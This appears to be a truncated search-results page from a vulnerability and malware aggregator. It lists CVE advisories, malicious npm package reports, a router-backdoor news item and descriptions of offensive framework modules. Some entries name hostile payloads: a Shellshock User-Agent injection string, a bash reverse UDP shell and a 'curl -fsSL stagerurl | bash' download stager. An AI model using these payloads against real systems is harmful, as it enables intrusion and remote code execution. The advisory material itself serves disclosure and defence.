3680 matches found
CVE-2026-73036: Improper Neutralization of Escape, Meta, or Control Sequences
Bash-it 3.2.0 contains a terminal escape sequence injection vulnerability in the barbuk theme's Python virtualenv prompt segment that allows local attackers to inject arbitrary terminal control sequences by embedding escape sequences in the requires-python field of a pyproject.toml file. When a...
PT-2026-70891
Bash-it 3.2.0 contains a terminal escape sequence injection vulnerability in the barbuk theme's Python virtualenv prompt segment that allows local attackers to inject arbitrary terminal control sequences by embedding escape sequences in the requires-python field of a pyproject.toml file. When a...
CVE-2026-72878
Dokploy is a free, self-hostable Platform as a Service PaaS. Prior to 0.29.13, Dokploy's backup and restore pipeline constructs shell commands by directly interpolating user-controlled database fields into bash -c "..." and sh -c "..." strings, then executes them via childprocess.exec. An...
CVE-2026-72878
Dokploy is a free, self-hostable Platform as a Service PaaS. Prior to 0.29.13, Dokploy's backup and restore pipeline constructs shell commands by directly interpolating user-controlled database fields into bash -c "..." and sh -c "..." strings, then executes them via childprocess.exec. An...
CVE-2026-72739
Dokploy is a free, self-hostable Platform as a Service PaaS. Prior to 0.29.13, the createCommand function constructs shell commands by interpolating compose service names and configuration into bash command strings. When a compose with a maliciously crafted name or service definition is deployed,...
Bash Shellshock - HTTP CGI RCE (CVE-2014-6271)
Exploits Shellshock via User-Agent injection against a CGI path. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Bash Shellshock HTTP CGI RCE CVE-2014-6271 — opens execute session.""" import re from kittysploit import from lib.protocols.http.httpclient import...
Bash Shellshock - HTTP CGI Detection (CVE-2014-6271)
Detects Shellshock by injecting :;; id into User-Agent/Referer/Cookie against common CGI paths and matching uid=/gid=. !/usr/bin/env python3 -- coding: utf-8 -- """GNU Bash Shellshock HTTP CGI RCE CVE-2014-6271 / CVE-2014-6278.""" import re from kittysploit import from lib.protocols.http.httpclie...
jdwp-exploit
JDWP Remote Code Execution Exploit A Python 3 implementation...
Bash Reverse UDP Shell
UDP connect-back via bash /dev/udp KSUDPHELLO. Pairs with listeners/multi/reverseudp !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import class ModulePayload: info = "name": "Bash Reverse UDP Shell", "description": "UDP connect-back via bash /dev/udp KSUDPHELLO. Pairs with...
Unix Download Stager, curl | bash
curl -fsSL stagerurl | bash — no Python required on target !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.c2.downloadstagers import buildcurlpipebash, buildstagerurl class ModulePayload: info = "name": "Unix Download Stager, curl | bash", "description": "curl -fsSL...
MAL-2026-13610 Malicious code in f-termx (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7f050d397c72fdb9336deba1e2ca6758d04625323e7bb4746d8b61964cc671ae The package's main entrypoint index.js and src/server.js start an HTTP + Socket.IO server bound to 0.0.0.0 and are designed to be published to the...
Malicious code in f-termx (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7f050d397c72fdb9336deba1e2ca6758d04625323e7bb4746d8b61964cc671ae The package's main entrypoint index.js and src/server.js start an HTTP + Socket.IO server bound to 0.0.0.0 and are designed to be published to the...
Malicious code in zyr-agent (npm)
Source: amazon-inspector b6dd19313881a0bcfd90734ce897e3134af348bce2b7447eaf4e5dbc910f432c zyr-agent ships an AI coding agent whose default 'free' provider routes chat completions to a hardcoded preview-slug endpoint at https://preview-chat-e8a10541-5396-4e8f-9ead-e5fbbcdb33d3.space-z.ai/api/v1...
Malicious code in elephant-tusk-runner (npm)
Source: amazon-inspector 4ddbdcdca1756bee69586881547c9e63f555685a2e5e3daa68a9519987edd37a server.js starts an Express + WebSocket server via app.listenPORT,... with no host argument, defaulting the bind to 0.0.0.0, with fully open CORS Access-Control-Allow-Origin: and no authentication. A WebSock...
Malicious code in zyr-agent (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b6dd19313881a0bcfd90734ce897e3134af348bce2b7447eaf4e5dbc910f432c zyr-agent ships an AI coding agent whose default 'free' provider routes chat completions to a hardcoded preview-slug endpoint at...
MAL-2026-13471 Malicious code in zyr-agent (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b6dd19313881a0bcfd90734ce897e3134af348bce2b7447eaf4e5dbc910f432c zyr-agent ships an AI coding agent whose default 'free' provider routes chat completions to a hardcoded preview-slug endpoint at...
Chinese-Made Zbtlink Routers Ship With Backdoor That Opens Unauthenticated Root Shells
Cybersecurity researchers have disclosed details of a "factory-shipped backdoor" implanted in at least 20 Chinese router models from Zbtlink. According to a new report from VulnCheck, the implant appears in all 21 firmware images currently available from Zbtlink that span more than 2 years. The...
EUVD-2026-53730
A vulnerability was found in mf-yang openclaw-cn 2026.2.5. This affects an unknown part of the file src/agents/bash-tools.exec.ts of the component Ggateway Exec Approval Flow. The manipulation results in incorrect authorization. The attack may be performed from remote. The exploit has been made...
CVE-2026-19006
A vulnerability was found in mf-yang openclaw-cn 2026.2.5. This affects an unknown part of the file src/agents/bash-tools.exec.ts of the component Ggateway Exec Approval Flow. The manipulation results in incorrect authorization. The attack may be performed from remote. The exploit has been made...
CVE-2026-19006
The CVE affects mf-yang openclaw-cn 2026.2.5, specifically the Ggateway Exec Approval Flow component, with the vulnerability located in src/agents/bash-tools.exec.ts. The manipulation leads to incorrect authorization and can be exploited remotely; exploitation is public. The project was informed ...